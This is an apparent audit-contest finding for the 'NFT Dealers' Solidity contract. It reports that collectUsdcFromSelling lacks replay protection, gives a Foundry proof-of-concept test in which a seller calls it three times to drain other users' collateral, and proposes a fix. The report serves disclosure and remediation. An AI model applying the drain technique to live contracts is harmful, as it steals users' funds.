NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling` has no replay protection — seller drains entire contract balance

Author Revealed upon completion

Root + Impact

Description

  • After buy() completes, the seller calls collectUsdcFromSelling() to receive proceeds plus minting collateral minus fees.

  • This function never resets any state: listing.price is never zeroed, collateralForMinting[tokenId] is never zeroed, and no "collected" flag exists. Every guard passes on repeat calls, so a seller can drain the entire contract balance.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
// @> listing.price never zeroed, collateralForMinting never zeroed, no collected flag
}

Risk

Likelihood:

  • Any seller who completed a sale calls collectUsdcFromSelling() multiple times — no special tools or timing required

Impact:

  • Complete drain of all USDC in the contract, including every other user's collateral and uncollected proceeds

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
​
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../../src/NFTDealers.sol";
import {MockUSDC} from "../../src/MockUSDC.sol";
​
contract Exploit_ReplayDrain is Test {
NFTDealers nftDealers;
MockUSDC usdc;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim1 = makeAddr("victim1");
address victim2 = makeAddr("victim2");
address victim3 = makeAddr("victim3");
address buyer = makeAddr("buyer");
​
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTD", "NFTD", "img", 20e6);
usdc.mint(attacker, 100e6);
usdc.mint(victim1, 100e6);
usdc.mint(victim2, 100e6);
usdc.mint(victim3, 100e6);
usdc.mint(buyer, 500e6);
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(attacker);
nftDealers.whitelistWallet(victim1);
nftDealers.whitelistWallet(victim2);
nftDealers.whitelistWallet(victim3);
vm.stopPrank();
address[4] memory minters = [attacker, victim1, victim2, victim3];
for (uint256 i = 0; i < 4; i++) {
vm.startPrank(minters[i]);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
}
}
​
function testExploit_ReplayDrain() public {
vm.startPrank(attacker);
nftDealers.list(1, 10e6);
vm.stopPrank();
​
vm.startPrank(buyer);
usdc.approve(address(nftDealers), 10e6);
nftDealers.buy(1);
vm.stopPrank();
​
// Contract: 90 USDC. Each collect pays 29.9 USDC. Attacker calls 3x.
uint256 attackerBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(1);
vm.stopPrank();
​
assertGt(usdc.balanceOf(attacker) - attackerBefore, 29900000 * 2, "Drained >2x legitimate");
assertLt(usdc.balanceOf(address(nftDealers)), 1e6, "Contract nearly empty");
}
}

Run with forge test --match-test testExploit_ReplayDrain. The attacker gains 89.7 USDC (3x their legitimate 29.9 payout) and the contract is drained from 90 USDC to 0.3 USDC — three victims' collateral is stolen.

Recommended Mitigation

Add a hasCollected flag and zero out the payment state before transferring. This enforces single collection per listing and follows the checks-effects-interactions pattern.

+ mapping(uint256 => bool) public hasCollected;
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!hasCollected[_listingId], "Already collected");
+ hasCollected[_listingId] = true;
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ collateralForMinting[listing.tokenId] = 0;
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!